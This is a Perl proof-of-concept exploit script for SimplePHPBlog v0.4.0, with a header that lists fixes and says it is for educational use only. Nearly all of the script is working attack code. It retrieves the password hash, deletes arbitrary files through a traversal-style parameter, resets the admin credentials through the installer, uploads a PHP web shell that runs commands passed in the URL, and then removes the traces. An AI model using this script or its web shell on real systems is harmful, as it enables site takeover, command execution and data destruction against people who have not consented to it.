#!/usr/bin/perl -w
#===============================================================================
#  Title:    sphpblog_vulns.pl
#
#  Written by:   Kenneth F. Belva, CISSP
#      Franklin Technologies Unlimited, Inc.
#      http://www.ftusecurity.com
#
#  Date:     August 25, 2005
#
#  Version:  0.1
#
#  Description:  This program is for educational purposes only!
#      SimplePHPBlog as a few vulnerability which this
#      perl script demonstrates via an exploit.
#
#  Instructions:  Should be self-explanatory via the .pl help menu
#
#  Solutions:  
#      *** Solution 1
#      Change the line in comment_delete_cgi.php from
#      $logged_in = logged_in( false, true );    to
#      $logged_in = logged_in( true, true );
#
#      *** Solution 2
#      Place an .htaccess file with the following config in
#      the ./config directory:
#
#
#      #---------------------
#      #Snip .htaccess start
#      #---------------------      
#      IndexIgnore *
#
#      <Files .htaccess>
#      order allow,deny
#      deny from all
#      </Files>
#      
#      <Files *.txt>
#      order allow,deny
#      deny from all
#      </Files>
#      #---------------------
#      #Snip .htaccess end
#      #---------------------
#
#
#      *** Solution 3
#      See http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0885.html
#        for PHP modification to upload image script.
#===============================================================================



#-------------------------------------------------------------------------------
#  Global Paramaters
#-------------------------------------------------------------------------------
use strict;
use warnings;

use vars qw/ %args /;

use Getopt::Std;
require LWP::UserAgent;
my $ua = LWP::UserAgent->new;

#-------------------------------------------------------------------------------
#  Global Routines
#-------------------------------------------------------------------------------

#Determine Operating System
my $OperatingSystem = $^O;
my $unix = "";

#Set OS Parameter
if (index(lc($OperatingSystem),"win")!=-1){
       $unix="0"; #windows system
      }else{
        $unix="1"; #unix system
      }

#-------------------------------------------------------------------------------
#  The Main Menu
#-------------------------------------------------------------------------------

sub menu()
    {
      if ($unix){system("clear");}
        else{system("cls");}

      print "
________________________________________________________________________________
      SimplePHPBlog v0.4.0 Exploits
           by
         Kenneth F. Belva, CISSP
       http://www.ftusecurity.com
________________________________________________________________________________

  Program  : $0
  Version  : v0.1
  Date  : 8/25/2005
  Descript: This perl script demonstrates a few flaws in
      SimplePHPBlog.
  
  Comments: THIS PoC IS FOR EDUCATIONAL PURPOSES ONLY...
      DO NOT RUN THIS AGAINST SYSTEMS TO WHICH YOU DO 
      NOT HAVE PERMISSION TO DO SO!
      
      Please see this script comments for solution/fixes 
      to demonstrated vulnerabilities. 
      http://www.simplephpblog.com

  Usage  : $0 [-h host] [-e exploit]
  
    -?      : this menu
    -h      : host
    -e  : exploit
      (1)  : Upload cmd.php in [site]/images/
      (2)  : Retreive Password file (hash)
      (3)  : Set New User Name and Password
        [NOTE - uppercase switches for exploits]
        -U  : user name
        -P  : password
      (4)  : Delete a System File
        -F  : Path and System File 

  Examples: $0 -h 127.0.0.1 -e 2
      $0 -h 127.0.0.1 -e 3 -U l33t -P l33t
      $0 -h 127.0.0.1 -e 4 -F ./index.php
      $0 -h 127.0.0.1 -e 4 -F ../../../etc/passwd
      $0 -h 127.0.0.1 -e 1
  ";  
        
  exit;
    }


#-------------------------------------------------------------------------------
#  Initial Routine
#-------------------------------------------------------------------------------

    sub init()
    {

  use Switch;
  
  # colon ':' after letter says that option takes variable
        my $opt_string = 'e:U:P:h:F:?';
        getopts( "$opt_string", \%args ) or menu();
  
  #Load parameters
  my $exploit = $args{e};
  my $host = $args{h};
  my $user = $args{U};
  my $pass = $args{P};
  my $file = $args{F};
  
  # What shall we do today?
  switch (%args) {
    case "?"  { menu();}
    case "e"  {
        switch ($exploit) {
          
          if ($unix){system("clear");}
          else{system("cls");}
          
          print "
________________________________________________________________________________
      SimplePHPBlog v0.4.0 Exploits
           by
         Kenneth F. Belva, CISSP
        http://www.ftusecurity.com
________________________________________________________________________________";


          # Upload cmd.php to /images
          case "1" {  print "\nRunning cmd.php Upload Exploit....\n\n";
              &UploadCmdPHP($host);}
          # Retrieve Username & Password hash
          case "2" {  print "\nRunning Username and Password Hash Retrieval Exploit....\n\n";
              &RetrievePwd($host."/config/password.txt");}
          # Replace Username and Password
          case "3" {  print "\nRunning Set New Username and Password Exploit....\n\n";
              &SetUserPwd($host,$user,$pass);}
          # Delete a System File
          case "4" {  print "\nRunning Delete System File Exploit....\n\n";
              &DeleteFile($host . "/comment_delete_cgi.php?y=05&m=08&comment=",$file);}

          } #end $exploit switch
          print "\n\n\n*** Exploit Completed....\nHave a nice day! :)\n";
        } #end "e" case
    else    { menu();}
    } #end %args switch

    } #end sub init

#-------------------------------------------------------------------------------
#  Exploit #1: Upload File Via POST 
#-------------------------------------------------------------------------------

sub UploadCmdPHP {

  
  my($url) = @_;
  
  use LWP;
  use HTTP::Request::Common qw(POST);
  my $ua = LWP::UserAgent->new;
  
  $HTTP::Request::Common::DYNAMIC_FILE_UPLOAD++;

  #Step 1: Retrieve hash
  #-----------------------------------------------------------------------
  my $hash = &RetrievePwd($url."/config/password.txt");
  

  #Step 2: Delete Existing Password file (SetUserPwd)
  #Step 3: Create a temporary user id and password (SetUserPwd)
  #-----------------------------------------------------------------------
  &SetUserPwd($url,"a","a");
  

  #Step 4: Log into the app and get the PHPSession / my_id session variable
  #-----------------------------------------------------------------------
  my $SETcookie = &strip_session(&Login($url . "/login_cgi.php","a","a"));
  
  
  #Step 5: Create and upload our scripts (cmd.php & reset.php)
  #-----------------------------------------------------------------------
    &CreateTempPHPs();
  
  # Upload cmd.php
  my $path = "./cmd.php";
  my $file = "cmd.php";
  my $req = POST($url."/upload_img_cgi.php",
    Cookie => 'PHPSESSID='.$SETcookie.'; my_id='.$SETcookie,
    Content_Type => 'form-data',
    Content => [userfile => [$path,$file],],
    );
  
  my $response = $ua->request($req);
  print "\nCreated cmd.php on target host: " . $url;
  #$response->is_success or die "Failed to POST '$url': ", $response->status_line;
  #return $response->as_string;
  
  # Upload reset.php
  $path = "./reset.php";
  $file = "reset.php";
    
  $req = POST($url."/upload_img_cgi.php",
    Cookie => 'PHPSESSID='.$SETcookie.'; my_id='.$SETcookie,
    Content_Type => 'form-data',
    Content => [userfile => [$path,$file],],
    );
  
  $response = $ua->request($req);
  print "\nCreated reset.php on target host: " . $url;
  #$response->is_success or die "Failed to POST '$url': ", $response->status_line;
  #return $response->as_string;
  
    #Remove local PHP files
    &RemoveTempPHPs();

    
  #Step 6: Reset origional Passwpord
  #-----------------------------------------------------------------------
  &ResetHash($url."/images/reset.php",$hash);

  
  #Step 7: Pass command to delete reset.php (clean up)
  #-----------------------------------------------------------------------
  &DeleteFile($url . "/comment_delete_cgi.php?y=05&m=08&comment=","./images/reset.php");
  print "\nRemoved reset.php from target host: " . $url;

  print "\n\nTo run command please go to following link: \n\t" . $url."/images/cmd.php?cmd=[your command]";
}

#-------------------------------------------------------------------------------
#  Exploit #2: Retrieve Password File 
#-------------------------------------------------------------------------------

sub RetrievePwd {
  
  my($url) = @_;
  
  use LWP;
  use HTTP::Request::Common;
  my $ua = LWP::UserAgent->new;

  my $req = GET($url);
  
  my $response = $ua->request($req);

  $response->is_success or die "Failed to POST '$url': ", $response->status_line;
  
  my $hash = $response->content;
  print "\nRetrieved Username and Password Hash: " . $hash; 
  return $hash

}


#-------------------------------------------------------------------------------
#  Exploit #3: Set New Username and Password 
#-------------------------------------------------------------------------------

sub SetUserPwd{

  my($url,$user,$pass) = @_;

  &DeleteFile($url . "/comment_delete_cgi.php?y=05&m=08&comment=", "./config/password.txt");
  &ResetPwd($url . "/install03_cgi.php?blog_language=english",$user,$pass);
}


#-------------------------------------------------------------------------------
#  POST to Reset Username and Password (must delete password file first)
#-------------------------------------------------------------------------------

sub ResetPwd {
  
  my($url,$user,$pass) = @_;
  
  use LWP;
  use HTTP::Request::Common;
  my $ua = LWP::UserAgent->new;

  my $req = POST($url,
          [ user  => $user,
      pass => $pass,
      submit => '%C2%A0Submit%C2%A0'
      ]
    );
  
  my $response = $ua->request($req);

  $response->is_success or die "Failed to POST '$url': ", $response->status_line;

  print "\n./config/password.txt created!";
  print "\nUsername is set to: ".$user;
  print "\nPassword is set to: ".$pass;
  
}


#-------------------------------------------------------------------------------
#  Exploit #4: Delete Password File 
#-------------------------------------------------------------------------------

sub DeleteFile {
  
  my($url,$file) = @_;
  
  use LWP;
  use HTTP::Request::Common;
  my $ua = LWP::UserAgent->new;

  my $req = GET($url.$file);
  
  my $response = $ua->request($req);

  $response->is_success or die "Failed to POST '$url': ", $response->status_line;
  print "\nDeleted File: ".$file; 
  
}


#-------------------------------------------------------------------------------
#  log into site
#-------------------------------------------------------------------------------

sub Login {

  my($url,$user,$pass) = @_;
  
  use LWP;
  use HTTP::Request::Common;
  my $ua = LWP::UserAgent->new;

  my $req = POST($url,
          [ user  => $user,
      pass => $pass,
      submit => '%C2%A0Submit%C2%A0'
      ]
    );
  
  my $response = $ua->request($req);

  $response->is_success or die "Failed to POST '$url': ", $response->status_line;

  print "\nLogged into SimplePHPBlog at: ".$url;
  print "\nCurrent Username '".$user."' and Password '".$pass."'...";
  
  return $response->header('Set-Cookie');
  
}


#-------------------------------------------------------------------------------
#  POST the hash
#-------------------------------------------------------------------------------

sub ResetHash {

  my($url,$hash) = @_;
  
  use LWP;
  use HTTP::Request::Common;
  my $ua = LWP::UserAgent->new;

  my $req = POST($url,
          [ hash  => $hash]
    );
  
  my $response = $ua->request($req);

  $response->is_success or die "Failed to POST '$url': ", $response->status_line;

  print "\nReset Hash at: ".$url;
  print "\nReset Hash value: ".$hash;
  
  
}


#------------------------------------------------------
# Create Temp PHP files
#------------------------------------------------------

sub CreateTempPHPs{

  my($hash) = @_;

  open(PHPFILE, ">./cmd.php");
  print PHPFILE &CreateCmdPHP();
  close PHPFILE;
  print "\nCreated cmd.php on your local machine.";
  
  open(PHPFILE, ">./reset.php");
  print PHPFILE &CreateResetPHP();
  close PHPFILE;
  print "\nCreated reset.php on your local machine.";  
}

#------------------------------------------------------
# Remove Temp PHP files
#------------------------------------------------------

sub RemoveTempPHPs{

  unlink("./cmd.php");
  print "\nRemoved cmd.php from your local machine.";
  unlink("./reset.php");
  print "\nRemoved reset.php from your local machine.";
  
}


#------------------------------------------------------
# strip_session - Get PHP Session Variable
#------------------------------------------------------

sub strip_session {
  
  my($savedata) = @_;

  my $PHPstring = "PHPSESSID";
  my $semi = "\;";
  
  my $datalength = length($savedata);
  my $PHPstart= (index $savedata, $PHPstring)+10;
  my $PHPend = index $savedata,$semi,$PHPstart;
  my $PHPsession= substr $savedata, $PHPstart, ($PHPend-$PHPstart);
  return $PHPsession;
  
}


sub CreateCmdPHP(){
  
  return "

<?php

\$cmd = \$_GET[\'cmd\'];
echo \'<hr/><pre>\';
echo \'Command: \' . \$cmd;
echo '</pre><hr/><br>';

echo '<pre>';
\$last_line = system(\$cmd,\$output);
echo \'</pre><hr/>\';
?>.
"; # end 
  
}


sub CreateResetPHP(){
  
  return "

<?php

\$hash = \$_POST[\'hash\'];
\$fp = fopen(\"../config/password.txt\",\"w\");
fwrite(\$fp,\$hash);
fpclose(\$fp);

?>
"; #end return

}


#------------------------------------------------------
#   Begin Routines
#------------------------------------------------------
  init();